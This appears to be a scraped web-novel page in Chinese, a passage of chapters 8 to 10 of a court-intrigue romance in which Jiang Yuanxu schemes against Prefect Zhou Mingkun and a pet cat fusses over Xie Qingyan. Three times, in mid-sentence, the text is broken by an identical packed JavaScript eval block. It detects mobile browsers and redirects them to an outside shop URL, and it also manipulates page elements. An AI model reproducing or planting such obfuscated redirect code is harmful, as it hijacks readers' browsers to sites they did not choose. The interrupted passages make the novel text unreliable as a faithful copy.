不对,谢青衍很快否认这个想法,韩乘霖同样不重要。 姜元序的倚仗是她对江州的掌控,无论京中一行人对周明坤的调查结论是什么,消息传出江州,一定是劫粮案的真相。 他提笔写下几个字,撕下纸张,团成球扔到姜元序桌上。 做作业时被丢纸团,让姜元序有一瞬间的恍惚,她抬首看向谢青衍,谢青衍点点头,她打开纸团,只见上面写着:私兵劫粮。 挺聪明,一无所知地来到江州,猜到这里很不错了,姜元序面上不动声色,提笔写下一个“优”,把纸团扔回谢青衍桌上。 应当是“优等”的意思,看来猜对了,谢青衍有些挫败,姜元序早就安排好了一切,根本不需要他。 两人的动静全落在云慎眼里,他戳戳身边的云齐,挤眉弄眼地示意他看上面。 云齐瞪了他一眼,继续埋头做事,他又不是傻子,哪里看不到公子对姜姑娘的不同,公子喜欢就娶呗,虽说姜姑娘容貌有瑕,身份也低了些,但也算不上什么大事,眼睛长脑门上的周明坤都觉得她能嫁太子,谢家更没问题了。 云慎回瞪过去,又踹了他一脚,没媳妇儿的人果然意识不到问题的严峻。 谢家这边当然没问题,就像公子说的,老太爷一定会喜欢姜姑娘,夫人只有公子一个孩子,公子喜欢的夫人肯定也喜欢,老爷可能会反对,但老爷的意见不重要,关键是姜姑娘那边,好像完全没那个意思啊。 公子会不自觉偷看姜姑娘,但姜姑娘一心办公,瞥都不往公子身上瞥一眼,看文书的眼神比看公子的眼神更热切,至多不过半月,他们就得回京城了,到时候姜姑娘若是不愿,那可如何是好! 求而不得的滋味,他自己经历了好些年,却不想公子也经历。 一日的功夫,只查出一些细枝末节的东西,临走前,姜元序单独找了谢青衍:“谢大人,之后几日我就不过来了,这里也没我什么事。” 谢青衍愣了片刻,略迟疑地说:“不担心她们受欺负?钦差可不好相与。” 到底是京城来的,被姜元序打压一通才乖觉,若她不在,两方怕是要别苗头。 “不是有谢大人在吗,还请谢大人帮忙看顾些。”姜元序说的十分诚恳,好似对谢青衍倾注了无数信任。 谢青衍还能说什么呢,只看今日侍从进出的次数,便知姜元序有多忙碌,周明坤一事已成定局,他们之间本就没有私事,如今连公事也没了。 8. 三生不幸 夜色渐深,许安宁匆匆来吴家,把姜元序从书房拖出来,把自己的东西放进卧房,指挥人沐浴更衣。 一通忙乱后,房里只剩一盏幽暗的烛火,帏帐落下,许安宁眼睛亮晶晶地拉着姜元序的手。 “你快跟我说说,周承怎么死的?” 许安宁好奇死了,那日周明坤杀人的消息传来时,她也在场,她瞧着姜元序瞬间暗下来的眼神,就晓得两人活不久了,果不其然,周明坤被抓了,周承死了。 “你猜?” “我猜,你在船上动手脚了?”不然好好的船怎么会翻。 姜元序挣脱她的手,点点她的额头:“船上动手脚很容易被查到的,再猜。” “我猜不到,你直接说。”许安宁晃晃自己的拳头,威胁道。 姜元序推开她的拳头,解释道:“我找了艘船,挑衅周承,周承自己去调帆,那天风大,船就翻了。” “就这样?”许安宁不敢信。 姜元序摊手:“就这样啊,我可没动手,船和船之间互相较劲多正常,是周承自己找死。” 就算这个时代有监控有天眼,照样定不了她的罪。 “服!”许安宁抱拳拜服,一群人围着船找证据都没找到,还以为是什么高明的手段,结果周承真是意外死的。 许安宁放下拳头,扯住姜元序散开的一缕头发,依旧不解:“那你干嘛在公堂上那样说啊,京里那些人都以为是你做的。” 姜元序拍开她作乱的手,摆好枕头,准备躺下:“吓吓他们,省得他们搞事。”也是为了试探一下钦差的态度,要是有手段强硬的,好提前做准备。 只要他们乖乖不搞事,姜元序不介意送上一份超额的政绩,让他们风风光光回京城。 许安宁眼睛一转,又问:“周明坤呢,你准备给他什么死法?” “砍头。”姜元序轻飘飘吐出两个字。 许安宁微微瞪大双眼,膝行几步,凑近姜元序,压低声音:“……他犯了啥事啊,那么严重。” 姜元序好笑地戳戳她的小圆脸:“等着吧,目标人物暂未就位。” “那这个目标人物,是你安排的吗?” “不是哦。”姜元序打破她的猜测。 许安宁略一思索,便明白了:“还有别人要对付周明坤?” 姜元序颔首应是:“太子快三十岁了,周家的处境本就微妙,多的是人要对付他,不然,他在江州一年,怎么会甘心被我压着。” 许安宁不由佩服道:“好家伙,你说你这是不是叫做,万花丛中过,片叶不沾身啊。” 明明是姜元序要害人,结果她什么都不用做,仇人全死了。 “还是沾了的,这次的事虽说不是我做的,但脏水肯定要泼我头上。”姜元序如实说。 “嗯?”许安宁挺直了身体,惊呼,“那你岂不是要遭到太子和周家的报复!” 姜元序拍拍她的肩膀安抚道:“报复谈不上,记恨总有的,不过这也不算坏事,有了这脏水,我才好名正言顺去京城。” “你还要去京城?你去京城干嘛!”许安宁震惊得都跳起来了。 姜元序理所当然道:“我都弄周明坤了,周家和太子当然也得顺便弄了。” “……这是顺便的事吗?太子!”许安宁发现自己的声音太大了,忍不住往帷帐外瞄了一眼,俯身低语,“不是码头杀鱼的大爷!那叫谋反!” 姜元序揉揉耳朵,把人推开:“让你平时多读点书,弄皇帝才叫谋反,古往今来的太子,有几个好下场的,我们现在这位太子也一样,他挡我路了。” 许安宁赶紧捂住姜元序的嘴:“别说了别说了……再说下去,我怕你比周明坤早砍头。” “我说姜元序,你怎么就那么能呢!啊!” 姜元序被她晃得脑浆都快匀了,用了点技巧扣住她的手:“放心吧,又不用我亲自动手,多的是帮手。” “这次对付周明坤的人?你知道是谁?” 许安宁略微转了转手,便挣脱了束缚,姜元序这点力气放在她身上,比猫崽子挠人还轻。 姜元序一脸无辜,笑嘻嘻地说:“我不知道啊,不过不重要,只要大家目标一致,就是好朋友。” 许安宁斜着眼睛瞥她,凉凉道:“给你泼脏水的好朋友?” “这你就不懂了。这脏水我接了,他才能毫不顾忌地去干周家和太子,他在前面除草,我躲后面摘果子,你来我往的,怎么不算好朋友呢。” 许安宁好半天才跟上姜元序的脑回路:“……所以这盆脏水是你雇佣他打工的报酬?” “我是那么慷慨的人吗?”姜元序毫不心虚,“我愿意接,不代表他就能泼,他得给我打白工。” 许安宁由衷地同情对方,碰上姜元序这样的主家,扒皮抽血不算,骨头渣子都得留着修城墙。 “他遇到你,可真是三生不幸。” 姜元序骄傲:“可不是,他越勤快,我赚的越多。” 两人并排躺在床上,望着帷帐顶出神,许安宁感慨,原以为姜元序只是在江州呼风唤雨,没想到远在京城的人,也逃不过她的算计。 近几日事多,姜元序也累,她要去京城,很多东西都得提前准备起来,还有江州这一大摊子,也要安排好,事业的版图还在扩张,牵一发而动全身。 许安宁转身面朝姜元序,接着问道:“韩家人呢?你找他们来的?” “那倒不是,我只是把“江州有土匪”的消息报到京城了,他们到了我才知道是韩家人。” 因为谁来都一样,姜元序只是要他们做个见证,没想到韩乘霖亲自来了,也没提前给她传个信。 “这又是为何?就周家那点人,至于找京城要人剿匪?”不是许安宁吹牛,周家私兵那点身手,她和姜元序两个人随随便便就能平几座山头。 “因为我的好朋友看起来不太好糊弄,我得给自己营造一个完全的无辜受害者的人设,他以后才会放心冲锋,给我打工。” 许安宁克制力气,轻轻锤了姜元序一拳:“听不懂,说仔细点。” 姜元序耐心给她解释:“等剿匪回来,大家都会知道是周家劫的粮,好朋友也会以为这就是我给周明坤准备的杀招,我并没有提前知道他的存在,后面发生的事情都在他的掌控之中。” 许安宁更迷惑了:“周家劫粮,怎么就是杀招了?周明坤是为了威胁你吧。” 姜元序扯扯她的耳朵,恨铁不成钢:“妹妹,那是粮食,也叫军需,周家有兵,还大肆囤军需,你说他们想干嘛?私兵变土匪,证据确凿,就算没有后面的事,就这一桩,也够周明坤砍头了。” 朝廷默认周家有私兵是一回事,但要是装成土匪劫军需,可说不清了。 景朝又不是处处太平的,谁知道哪些地方的土匪是周家私兵装的,谁又能知道周家私下养了多少人,囤了多少军需,流言一起,最想要周明坤赶紧死的,就是太子和周老将军了。 许安宁悻悻道:“那周明坤不知道吗,他还敢劫粮?” “所以说他蠢,他是想捏着粮食让我妥协,没真想吞了粮,而且,这事只要不闹到京城,就不是什么大事,他估计以为自己做的挺干净,也没料到我会因为五万的粮食就闹到京城。” 五万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211505|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石的粮食对普通人来说当然多,但对江州粮食商会来说就不值一提了,周明坤大概觉得她会直接吃了这个哑巴亏。 “所以这五万粮食是你给他下的套?我早觉得不对了,商队的人什么时候那么菜了,你是早做好了弄他的准备?”许安宁恍然大悟。 姜元序对她的后知后觉很不满:“这不废话吗,我要不给他下套,鬼晓得他还要给我找多少麻烦。” “我承认你和那人是好朋友了。”许安宁静默良久,真心实意道,“你俩一唱一和,把周明坤当狗整呢,前后左右都是死。” “辱狗了哈。”狗狗那么可爱,为什么要和周明坤相提并论呢。 “行吧。”许安宁感慨万千,“我真是瞎操心,你这一通安排哪怕全给太子说了,太子都找不到你的错,全是别人自己找死的。” “你也知道自己瞎操心啊。”姜元序想起昨日,忍不住笑出声,“还给谢大人送糕点哦~” “姜元序!你还敢说!” 许安宁气得去掐姜元序,她巴巴地做了姜元序爱吃的糕点,受了一通白眼,结果姜元序居然敢当众嘲笑她! 她爱跟俊俏公子装熟怎么了?姜元序自己说的,与其给一个男人十次机会,不如给十个男人一次机会! “呵,不愧是谢家公子,摆的谱比周明坤还大。”说到这个许安宁就来气,虽说她是别有用心,但谢青衍那么不给面子,就是他的错了。 “哦?他怎么你了?我看他挺随和的。”姜元序确实不理解许安宁的气愤,她没见过谢青衍摆谱。 许安宁拿白眼冲着姜元序:“拿鼻孔看人也叫随和?” “真的假的,那么盛气凌人?我还觉得他是老实人来着。” “老实人!”许安宁拿枕头锤人,“姜元序你什么时候瞎的!你说谢家公子是老实人?” 姜元序急速往外滚了一圈,许安宁不收力的一下足够让她受内伤。 “因为他种地。” 许安宁愣了好一会儿,有点怀疑自己的耳朵:“种地……是我想的那个种地吗?那个要耕田锄地的种地?” 姜元序郑重其事地点头,她知道的时候也和许安宁一样的反应。 许安宁的气焰“噗”地消失了,抱着枕头,恍惚道:“那我可能真的误会他了,他不是拿鼻孔看人,是我太矮了,只能看到他的鼻孔。” 许安宁迅速说服了自己,她和姜元序一样的想法,一个会种地的世家公子,怎么会是坏人呢。 姜元序把脸埋进被子里“咯咯咯”笑起来,许安宁从小跟一起她吃饭,补钙补维生素补蛋白质,依旧不到一米六,其实放在这个时代并不矮,只是她的参照物是姜元序这个一米七几的大高个,自然显矮。 许安宁把人挖出来,疑惑询问:“他是庶子?在家里不受宠?”她实在想不出还有什么理由让谢家的公子去种地。 “那你可错了,人家是嫡长子,他母亲是王家人,就是那个管铁的王家。” 许安宁沉默,这身份,看来是真爱种地啊。 “好了,别想了,睡吧。”姜元序拍拍许安宁的脑袋,兀自躺下了,闹了这一通,累的很。 姜元序闭着眼睛缓缓道:“等韩二哥回来,正好可以让他指导你韩家枪法。” 许安宁刚躺下,闻言“嗖”地翻身而起,目光灼灼地盯着姜元序:“真的呀,他们韩家枪法能外传?” “又不是武林秘籍,当看话本子呢,西北军里很多人都练的。” “那他什么时候回来?”许安宁兴奋地问。 “等着吧,之后事情还多着呢,一时半会儿没空。快睡!” 9. 江州一霸 连续几个管事会议,眨眼间已到下午,姜元序开始处理外头的消息。 十安:“周家军那边,跟我们定了五千张复合弓,兆雪问这笔生意要不要接?” “五千啊,周家还是底子硬。”姜元序很快作出决定,“接,送上门的生意哪有不接的道理。” 她当初兴致勃勃地研究复合弓,试图代替传统弓箭,亲历战场才发现,打仗的弓箭根本不需要那么高的准头,完全是用量取胜。 造价太高的复合弓在战场上的作用微乎其微,却非常受贵族子弟欢迎,姜元序特地提高了定价,专做有钱人的生意。 西北军只有五百人的小队配备了复合弓,周家一出手就是五千,怕是边境不太平啊,周老将军老了糊涂了,做出养寇自重的蠢事,但军事直觉还在。 这批复合弓不见得要上战场,去敌军眼皮底下晃一圈,展示一下景朝的军事实力,让对方忌惮,这一仗就能拖一两年,周家现在经不起真打仗。 “让兆雪把这笔订单提前,尽快给周家军送去。” 宁远郡若起战事,姜元序的谋划就得搁置,千载难逢的机会可不能毁在外敌的马蹄下。 斜阳晚照,十安带着云慎进来,姜元序好奇地问:“是谢大人有什么事情吗?” 云慎递给姜云序一封信函:“这是今日查出的,公子让我来给姜姑娘过目。” 还挺正式的,姜元序拆开信封,快速浏览一遍,写的很详细,在什么项目上贪污多少银子,抬头和云慎说:“麻烦了,替我谢谢你家公子。” 云慎见姜元序并没有回信的意思,只能硬着头皮自己要求:“姜姑娘不如给公子回一封信,我也好交代。” 姜元序点头表示理解,工作留痕嘛,她提笔“唰唰”写几个字,把回执给云慎。 云慎捏着写了五个字的纸张,颤颤巍巍递给谢青衍,硕大的“已阅”二字落在正中央,谢青衍盯着左下方小巧的“姜元序”三字,神色难辨。 第二日,云慎送出三张纸的案件详情,又收回一张姜元序式回执。 第三日,云慎暗示姜元序可以亲自和谢青衍道谢,姜元序欣然应许,在“已阅”后添上“谢谢您。” 第四日。 “公子,前边就是茶馆了,听说那里的猫狗都是姜姑娘捡的,以前养在吴家,后来开了茶馆,姜姑娘让它们出来做工挣饭吃。” 云慎兴奋地和谢青衍讲:“那日我听一个妇人训孩子,说猫都起来上工了,你怎么睡得着的!哈哈哈……” 谢青衍闻言也勾起嘴角,和姜元序有关的一切,都那样生机勃勃。 云慎靠近谢青衍,掩唇低声说:“我打听过了,姜姑娘每日酉时会过来给猫狗喂食,我们在这儿等着,肯定能碰上姜姑娘。” 谢青衍睨了他一眼,云慎嬉皮笑脸地回一个“我懂”的眼神,谢青衍哼笑一声撇开他径直走进茶馆。 闭眼蹲坐在账台上的橘猫异常显眼,一瞬间抓住了谢青衍的眼神,他看很多客人一边喝茶一边摸猫,于是含着笑想去摸摸橘猫的头。 “公子——!” 十安听了报上来的消息,半晌没有回过神,她踌躇地走向姜元序。 “姑娘,橘掌它……”十安努力整理自己的语言,“它好像找到了心爱的人类。” 十安犹犹豫豫地说出了一段姜元序无法理解的话。 “啥玩意儿?” 十安深吸一口气,建议道:“要不姑娘自己去看看?” 说实话十安自己也不相信,江州第一猛兽“姜橘掌”会因一个男人折了腰。 暮色的天空钻出一缕强光,推开挡路的乌云,向东边疾驰,云朵纷纷披上红色铠甲,迈着滚滚的步伐随光而去。 湖边的男子靠在圈椅里,拿玉佩的穗子逗猫,小猫伸出一只爪子懒懒地抓了几下,扭头喵喵控诉,男子放下玉佩揉揉它的脑袋,小猫乖顺地伏在膝上,天边的红光洒下,画面如冬日暖阳般温柔。 姜元序努力稳住自己的脾气,颤声问:“那是,我们家猫吗?” 十安觉得今日这火烧云实在刺眼,闭上眼睛艰难道:“是的呢。” “哈!”姜元序怒极反笑,撩开袖子,气势汹汹走向那只白眼猫。 “姜!橘!掌——” 一声怒吼传来,谢青衍下意识抱着猫起身,姜元序不管不顾去抓猫,谢青衍左躲右闪,姜橘掌挺身冲姜元序嚎叫。 “你还凶我!姜橘掌,你可真出息!天天给我甩脸色,时不时要跟我打架,输了就不理人,我都不敢赢你!” “结果呢!你在外边给人当娇妻!” 姜橘掌埋首在谢青衍胸前,趁姜元序大喘气间隙,委屈地“咪——”两声。 “你还夹起来了!”姜元序气得拎起它的耳朵,“好好好,真把自己当娇妻了,自己什么德性心里没点数啊,你是公的你不知道吗!你和他没有结果的!” 姜橘掌左右晃脑袋挣脱不了魔爪,江州一霸的本性暴露,“嗷——”地抖擞庞大的身躯,向邪恶人类宣战。 “来来来,我今天不打断你一条腿,你以后还得出去找黄毛。”姜元序拳头捏得咔咔响。 一人一猫,一个模子里刻出来似的,昂首怒视对方,猫率先扬起爪子,蓄势猛冲,后爪刚离开半寸,谢青衍扬手一搂,姜橘掌气势全收,乖乖缩人怀里。 “哈,瞧瞧!瞧瞧!”姜元序气笑了,指着白眼猫大声嘲讽,“我们橘掌,在别人怀里成香香软软的小蛋糕啦!” “姑娘,冷静啊!”十安头疼地拉着姜元序的胳膊,后悔没有把百凌带出来,她一个人根本拉不住。 “这是怎么了?” 许安宁一来就见姜元序提着拳头要揍谢青衍,急忙和十安一起拉住姜元序,她知道姜元序有时候脾气上来会不管不顾。 姜元序反手扯住许安宁,凶巴巴命令:“安宁,动手!” “动……动啥手啊?”许安宁相当不理解当前的场面,不是说谢青衍是个老实人吗,怎么短短几天就要动手了。 十安指指窝在谢青衍怀里的橘猫,许安宁看着异常乖顺的一团,也有些发愣。 捡到姜橘掌的时候,它瘦的只剩骨头架子,姜元序心疼的跟什么似的,一点一点喂成如今巨大一团,脾气随身量猛长,谁碰打谁,偏姜元序不以为意,说猫咪有点个性很正常。 还当是本性如此,原来是因人而异吗? 姜元序生气的点总是奇奇怪怪,姜橘掌更是我行我素听不得道理,许安宁左右为难,思量再三决定先解决谢青衍。 谢青衍也乖觉,小心翼翼把猫递给姜元序,姜元序侧开身子不接。 “我不要!它不是喜欢别人吗,我养不起它了,让它跟野男人跑吧。” 野男人谢青衍哭笑不得:“姜元序,好歹听听猫的解释,接着。” 姜元序气性上来,谁的面子也不给,扒开谢青衍的手,又侧过身去。 许安宁倍感压力,上前用武力制服趴在谢青衍身上不肯离开的姜橘掌,端着上下左右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211506|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都被禁锢住的肥猫,去哄姜元序。 好言好语哄半天,姜元序总算肯伸手接猫了,姜橘掌的气性比姜元序还大,许安宁略一松手,它猛地蹿向姜元序头顶,前爪抓发髻,后爪一蹬,衔着金钗扬长而去。 三双手同时扶住姜元序,周围三人大气不敢出,姜元序由着发髻散开,面无表情拂开众人,迈着沉稳的步子往姜橘掌逃跑的方向去。 “好了好了不气了,我让我娘给你做四时花糕好不好?”许安宁忙不迭跟上去安慰,她怕晚一点姜橘掌要变炙烤大橘。 十安紧随其后:“橘掌还小呢,一时鬼迷心窍,慢慢教就行,何必跟它计较呢。” 谢青衍扶额失笑,不明白这一出啼笑皆非的闹剧为何发生的如此自然而然。 茶馆打烊,姜橘掌穿上量爪定制的小鞋,头戴喇叭圈,两步一摔,踉踉跄跄还不忘谢青衍,一双翠玉绣鞋从天而降,毫不留情把它拨回原地。 云慎悄声问许安宁:“姜姑娘她……一直这样吗?” 许安宁很懂维护姐妹形象,没说姜元序缺德惯了,摆摆手绢否认:“意外,意外。” 她指指谢青衍,悄声问云慎:“谢大人……很招猫猫喜欢?” 云慎也很懂维护公子形象,没说谢青衍猫憎狗嫌,点头坦然承认:“一般,一般。” 两人视线相撞,眼里没有心虚,全是信任。 临时组成的餐桌十分安静,一桌人大眼瞪小眼,谢青衍有心缓解尴尬:“那个姜……” 一句刚开头,姜元序凉凉的视线瞥去,谢青衍瞬间咽下了剩余的话。 许安宁看不下去了:“得了,没完没了了,迁怒人家谢大人干嘛!” 她之前还对谢青衍有意见,现在想想真是不应该,脾气好到能同时容忍姜元序和姜橘掌,实属世间罕见。 姜元序不理人,自顾自吃饭,许安宁可不惯着她:“别吃了!一桌子虾全剥给你了,还好意思摆脸色!” 吃得倒是欢,满满一碗虾仁已经下去一半,许安宁还偷摸吃了几个,十安剥的全给她了,真是惯的。 任由许安宁把装虾仁的碗拿走,姜元序一声不吭地夹青菜吃,十安赶紧吩咐厨房再去弄一盘,谢青衍默默剥完最后一只虾,把碟子递给姜元序,轻声说:“先吃这个。” 夹菜的筷子一顿,许安宁已经嚷嚷开了:“谢大人你自己吃,别理她,和橘掌一脉相承的臭脾气,越惯越没边儿了!” 姜元序夹了颗虾仁,狠狠嚼着,挑衅地看向许安宁:“哼。” 许安宁看姜元序总算愿意出声,知道气消得差不多了,又把碗还给她:“你可真是祖宗,一桌子人伺候你一个。” “今天中元节,一会儿我陪你去放河灯。” 街上人很多,却没什么声音,这个日子,喧闹也随河灯飘向遥不可及的远方。 姜元序挑了一盏灯,提笔写下寄语,到河边放下去,她就蹲在那边,久久不愿起身。 浓浓的孤寂萦绕在她周身,平日里藏于心底的感情摊开来,斑驳无人的城市里,伫立着的唯有她一人,谢青衍恍然间觉得她不该处于此世间。 他想起姜元序被收养时五岁,应该是有家人的记忆的,是因为家人已逝,才会如此难过吗? 许安宁揽着姜元序的肩膀,靠在她身上,姜元序没说过她的身世,许安宁也没问过,不管她以前是谁,许安宁认识她的时候,她就是姜元序。 姜元序无声地看着飘远的河灯,盼望思念能到达另一个时空。 10. 颠倒黑白 微风吹动青色的帷帐,蜿蜒如漫天大火,多年以前,姜元序逃离了,多年以后,谢青衍困住了。 云齐云慎听到动静,不放心来查看,谢青衍穿着里衣坐在床沿,双目失神般在漆黑的夜里盯着地面。 云齐点了烛火,小心询问:“公子在想什么,可以跟我说说吗?” “此次回京后,我想调来江州。”谢青衍声音沙哑,语气却格外坚定。 云齐早有准备,马上给出建议:“以公子这些年在刑部的作为,加上清查周明坤的政绩,调来江州不难。只是江州知州一职朝中很多人意动,公子不如提前给京中传信,让老太爷留意着,以免出意外。” “嗯,虽说周明坤是自己找死,但难免周家和太子会迁怒姜元序,若我在江州,他们多少会忌惮些。” “此事宜早不宜迟,姜姑娘十七了,随时可能会定下亲事,尽早解决周明坤,尽快来江州。” 云慎见两人三言两语便做好了决定,脑袋有些乱:“不是……公子你喜欢姜姑娘,不是应该把人娶回京城吗,怎么是你自己来江州?” 谢青衍幽怨地看着云慎,难道是他不愿意娶吗,是姜元序不愿意嫁啊。 “……你也没问过啊,不如先问问?”云慎小声说,在姜姑娘心中,橘掌是比公子重要,但和别的男子比,公子或许就重要了呢。 “不管姜姑娘现在愿不愿意,最稳妥的做法就是公子来江州。”云齐严肃道,“别忘了,京城还有太子,太子要施行新政,姜姑娘是最好的帮手,一道赐婚圣旨下来,哪怕是老太爷也无法阻止。” 云齐想的也是谢青衍担心的,若姜元序愿意直接和他定下亲事,自然不怕皇家横插一手,关键是姜元序对他并没有那个意思,贸贸然把人带去京城,万一给别人做了嫁衣,他吊死在宫门口都无济于事。 “云慎,你刚成亲,就留在京城吧。” 云慎急了:“这怎么行!我不在谁保护公子!” “知州的任期是五年,肯定不会像这次只带十几个人,家里会安排好的。”谢青衍一点都不担心,“有姜元序在,江州比京城还安全。” 云慎犹豫了下,还是决定如实说:“公子……你忘了周承是怎么死的吗?” 谢青衍问心无愧:“我又没做伤天害理的事。” 云慎:“可你要追求姜姑娘啊,万一她嫌你烦,一生气就……哎?” 谢青衍气得踹他:“能不能盼我点好!” “公子,这个确实得考虑。”云齐苦笑,“没有危险的时候,姜姑娘才是最危险的。” “姜元序不是不讲理的人。”谢青衍觉得他们杞人忧天,“今日她如此生气,不也只是自己生闷气吗,她才十七岁,有点小脾气,不是真的心狠手辣之人。” 云齐不语,一味地觉得自家公子被感情蒙蔽了心窍。 谢青衍睡下后,云慎摸黑爬上云齐的床,压低声音:“这一来就是五年啊,公子离开京城那么久真的可以吗?” 云齐往里让让,他知道云慎的小脑壳想不了太复杂,他得解释清楚。 “公子要能娶了姜姑娘,至少可以少走十年弯路。” “这是什么说法?”云慎不解,“你也没见过姜姑娘几次吧,每次都是我去送信。” 云齐说起近日的见闻:“我看江州的卷宗,桩桩件件都有姜姑娘的手笔,这治世的能力,公子也是比不上的。再看她带出来的人,对上钦差不卑不亢,言行有礼,做事利落,治下的手段可见一斑。有她帮公子,公子以后绝对能超过老太爷。” 云慎心有戚戚,超过老太爷,那就只有首辅了。 “最重要的是,公子喜欢,那真是打心眼里喜欢,他见到姜姑娘那副开心的样子,你在京城见过吗?只要公子开心,耽误多久都是值得的,左右还有谢家兜底。” 云慎当然知道公子喜欢极了姜姑娘,往日连话都懒得说的人,碰到姜姑娘一个劲儿的找话聊。 “可谢家也不只有公子一个啊,二公子三公子可一直在挑公子的错。” “姜姑娘不会成为公子的错处。”云齐回答的没有一丝犹豫,“一来,他们若是敢冒犯姜姑娘,公子不会再碍于老爷的情面手软,二来,姜姑娘那性子,受得了有人时不时恶心她?” 二公子平日里那德性,可比周承恶心多了,碰上脾气暴烈,手段狠厉的姜姑娘,不出三天就得凉。 云慎望床顶兴叹:“哎,我可太希望姜姑娘跟我们回京城了,要是能听到姜姑娘对老爷说一句“谢大人,你二儿子死了”,我不敢想象自己会有多开心。” “当务之急是撮合两人,你平日里多去打听打听姜姑娘的喜好。”云齐满怀期望地叮嘱云慎,“你有经验,多帮着公子。” 云慎能从别人手里抢妻子,帮公子抢一个未婚的姜姑娘应该不成问题。 又是两日查案,云慎给姜元序送的信越来越厚,雷打不动收回一张“已阅”。 谢青衍怕姜元序生气,也不敢往茶馆去,只催促尽快结案,钦差和江州的人较上了劲,每天点灯熬油要快过对方。 这日,云齐从外边赶回来,给谢青衍带回一个消息:“周承好像真的是意外死的。” 周承捞上来了,云齐得到消息的第一时间便去现场,想着万一有什么疏漏,他也好遮掩一番。 仵作再三检查,周承就是溺死的,身上只有落水被礁石磕的伤,没有其他外伤,也没有事先中毒。 谢青衍也意外,难道真被云慎说中了,老天爷开眼了?还是姜元序手段太高明,查不到任何人为的证据。 “还有,韩大人明日就能到江州,匪徒也押回来了。” 正好赶一块儿了,清查也已经收尾,谢青衍吩咐云慎:“去告诉姜姑娘一声,明日提审周明坤,让她来旁听。” 公堂之上,张和细数周明坤的罪行。 “罪臣周明坤,贪赃枉法,科敛扰民,玩忽职守,贪墨公款共计九十万八千四百两白银,侵占田地一百五十顷,受害百姓七百二十户,你可认罪?” “我认。”周明坤痛快地签字画押。 张和宣判:“周明坤革除江州知州一职,押回京城候审。” 周明坤一点也不意外,反倒饶有兴致地问在一旁坐着的姜元序:“这一出戏看得如何?” “周大人才四十,怎么就糊涂了。”姜元序好似对周明坤很同情,“这戏分明还没开场啊。” 周明坤眉心一皱,觉得她话中有话:“你什么意思?” “嘿,周大人一个唱戏的,反倒问我这个看戏的,这是何道理?” 姜元序往外面看了一眼,兴冲冲招呼周明坤:“周大人快看,你的戏搭子来了。” 韩乘霖走在最前面,后面的官兵押着数十人,韩乘霖将一令牌交给谢青衍。 “谢大人,匪患已除,这是从匪徒身上搜到的。” 谢青衍瞥了一眼,丢在周明坤身前:“周明坤,你怎么说。” 显眼的“周”字刺得周明坤双目猩红,他立刻指着那群人质问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211507|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们是什么人,竟敢盗窃周家的令牌!” 其中一人磕头解释:“大人明鉴,小人不识字,不知道这是啥令牌,小人只是个山匪,平日靠劫掠商队为生,这牌子也是从一行商身上扒下来的,瞧着好看就带身上了。” “放肆!”周明坤大呵一声,冲过去飞踹一脚,“你是什么东西,竟敢动周家人!” “大人饶命!大人饶命!”那人不敢反抗,佝偻着身子连连求饶。 韩乘霖拦住周明坤:“周大人不用着急撇清关系,后头还有不少人呢。” 官兵又带上来一群人,不同于前面那群人仪容整洁,这些人身上打着不少补丁,鞋子也破破烂烂。 “这些匪徒原是益州的地痞流氓,招认了是周大人指使他们劫掠粮食。” “胡说八道!”周明坤大声否认,“我周明坤是落魄了,但周家还在,你们收了谁的好处,找理由也不找个像样的,劫粮食,笑话!周家是穷的吃不起饭了吗,要靠山匪劫粮过活!” 又转身质问韩乘霖:“这位大人是哪家的,说话可要讲证据,用一群地痞流氓来污蔑我,行事太过龌龊!” 韩乘霖觉得周明坤可真是厚脸皮,自己做的事反过头来指责别人龌龊,略一拱手,道:“韩家,韩乘霖。” 周明坤恨得咬牙切齿,怎么偏偏是韩家,他又被姜元序算计了,贪墨案只是个幌子,韩家谢家都知道周家府兵变山匪,他长了几张嘴都解释不清,吃哑巴亏的是他自己! “就是周大人指使我们的!”后头一人指着周明坤大声说,“周大人说要给人一个教训,还不准我们动粮食!真的山匪哪有劫了粮不吃不卖的!” “我们这些人平日就帮周大人干脏活,那些不愿卖地的人家,我们去拆房子,周少爷看上的清白姑娘,我们去抢,周大人不喜欢的商户,我们去闹去砸。” “周大人在益州干的那些事,我们都知道!” 官兵冲上山,周家的府兵见状不对,反而提刀砍他们,他们益州来的一批人,被周家府兵杀的只剩十几个,他们活不了,周明坤也别想好过。 “你他娘的闭嘴!家里几个脑袋啊,九族厘清了吗,敢在我周明坤面前叫嚣!” 众人齐齐脸色一变,如此明目张胆的威胁,镇住了没见过什么世面的地痞,刚才出头的人颤抖着说不出一句话。 